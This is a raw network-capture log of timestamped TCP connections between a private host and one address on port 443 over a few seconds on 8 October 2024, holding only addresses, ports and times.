Oct 8, 2024 20:52:19.955317020 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.957328081 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.957638979 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.957653046 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.965195894 CEST	443	49818	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.965874910 CEST	443	49818	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.966012955 CEST	49818	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.966012955 CEST	49818	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.966012955 CEST	49818	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.968575001 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.968625069 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.968739033 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.968945026 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.968971014 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.994870901 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.994900942 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.994946003 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.995466948 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.995695114 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.995695114 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.995709896 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.995718956 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.998838902 CEST	49822	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.998893023 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.000236988 CEST	49822	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.001058102 CEST	49822	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.001084089 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.048688889 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.048749924 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.048799992 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.048897982 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.049134970 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.049149036 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.049159050 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.049166918 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.051871061 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.051911116 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.052459002 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.052743912 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.052756071 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.060045004 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.060111046 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.060271025 CEST	49816	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.060329914 CEST	49816	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.060344934 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.060358047 CEST	49816	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.060364008 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.063221931 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.063251972 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.068803072 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.069010973 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.069024086 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.239248991 CEST	49818	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.239279032 CEST	443	49818	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.734832048 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.735017061 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.735455990 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.735485077 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.735902071 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.735909939 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.736707926 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.736737013 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.739402056 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.739412069 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.838398933 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.838525057 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.838903904 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.838958979 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.839047909 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.839068890 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.839086056 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.839091063 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.840619087 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.841363907 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.842453957 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.842453957 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.842453957 CEST	49821	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.842489958 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.842504978 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.842514038 CEST	443	49821	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.843153954 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.844738960 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.844779968 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.845297098 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.845324039 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.846039057 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.846039057 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.846071959 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.920183897 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.920728922 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.920761108 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.921207905 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.921216011 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.926873922 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.927227020 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.927251101 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.927634954 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.927643061 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.928133011 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.928519964 CEST	49822	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.928534985 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:20.928822994 CEST	49822	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:20.928836107 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.020975113 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.021522999 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.021810055 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.021955013 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.021981955 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.021996021 CEST	49824	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.022001982 CEST	443	49824	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.031085968 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.031105995 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.031167984 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.031857014 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.031914949 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.033323050 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.033909082 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.039328098 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.039403915 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.039443970 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.043416977 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.043443918 CEST	49822	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.051934004 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.051968098 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.052107096 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.052126884 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.052139044 CEST	49823	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.052145958 CEST	443	49823	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.053261042 CEST	49822	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.053286076 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.053524971 CEST	49822	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.053534031 CEST	443	49822	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.056574106 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.056607962 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.057574987 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.057610035 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.061954021 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.062016010 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.062237978 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.062249899 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.062263966 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.062263966 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.530262947 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.533519030 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.543989897 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.544007063 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.544487953 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.544492960 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.544636011 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.544646978 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.544969082 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.544977903 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.643990040 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.644006014 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.644078970 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.644939899 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.649930954 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.649930954 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.650172949 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.650173903 CEST	49826	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.650194883 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.650207043 CEST	443	49826	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.651357889 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.651357889 CEST	49825	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.651369095 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.651377916 CEST	443	49825	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.662298918 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.662348032 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.662457943 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.662587881 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.662643909 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.662678003 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.662692070 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.662816048 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.662817001 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.662857056 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.724004984 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.738013983 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.746426105 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.746457100 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.746853113 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.746861935 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.747142076 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.747159958 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.747538090 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.747545958 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.754354000 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.755122900 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.755141020 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.755532980 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.755538940 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.842708111 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.843061924 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.843106985 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.843156099 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.843756914 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.843785048 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.843799114 CEST	49827	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.843806028 CEST	443	49827	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.847646952 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.847671986 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.848556042 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.848881960 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.853077888 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.853636980 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.853707075 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.853854895 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.853872061 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.854028940 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.854042053 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.854042053 CEST	49829	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.854063034 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.854074955 CEST	443	49829	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.854350090 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.856388092 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.856414080 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.856479883 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.856606960 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.856615067 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.857391119 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.857405901 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.857417107 CEST	49828	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.857422113 CEST	443	49828	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.868690014 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.868716955 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:21.869446993 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.870915890 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:21.870929003 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.319616079 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.323728085 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.323798895 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.323827028 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.324245930 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.324250937 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.331912041 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.331926107 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.332283020 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.332294941 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.458154917 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.458395004 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.467231989 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.469825029 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.469847918 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.469861031 CEST	49831	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.469866037 CEST	443	49831	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.490405083 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.490503073 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.490962982 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.491034985 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.491154909 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.492322922 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.492584944 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.500610113 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.500658989 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.500806093 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.500806093 CEST	49830	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.500828028 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.500842094 CEST	443	49830	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.501549006 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.502027988 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.502048969 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.502620935 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.502631903 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.506716013 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.506819010 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.512639046 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.513251066 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.513289928 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.518368006 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.533822060 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.533838034 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.534257889 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.534262896 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.577544928 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.596520901 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.596529961 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.596970081 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.596975088 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.602643013 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.602977037 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.615412951 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.631295919 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.631360054 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.633953094 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.635078907 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.635266066 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.635287046 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.635298967 CEST	49833	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.635303974 CEST	443	49833	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.636895895 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.636924028 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.636938095 CEST	49832	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.636945009 CEST	443	49832	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.657136917 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.657191038 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.657677889 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.668679953 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.668734074 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.676166058 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.676201105 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.681091070 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.681482077 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.681494951 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.694369078 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.694641113 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.695086956 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.696854115 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.696860075 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.696882010 CEST	49834	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.696886063 CEST	443	49834	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.808237076 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.808278084 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:22.817023039 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.833112001 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:22.833127975 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.159034967 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.162184954 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.162209988 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.162674904 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.162681103 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.187704086 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.193270922 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.193339109 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.193741083 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.193761110 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.258141994 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.258856058 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.259011030 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.259160042 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.260150909 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.260174990 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.260621071 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.260627031 CEST	443	49837	13.107.246.45	192.168.2.9
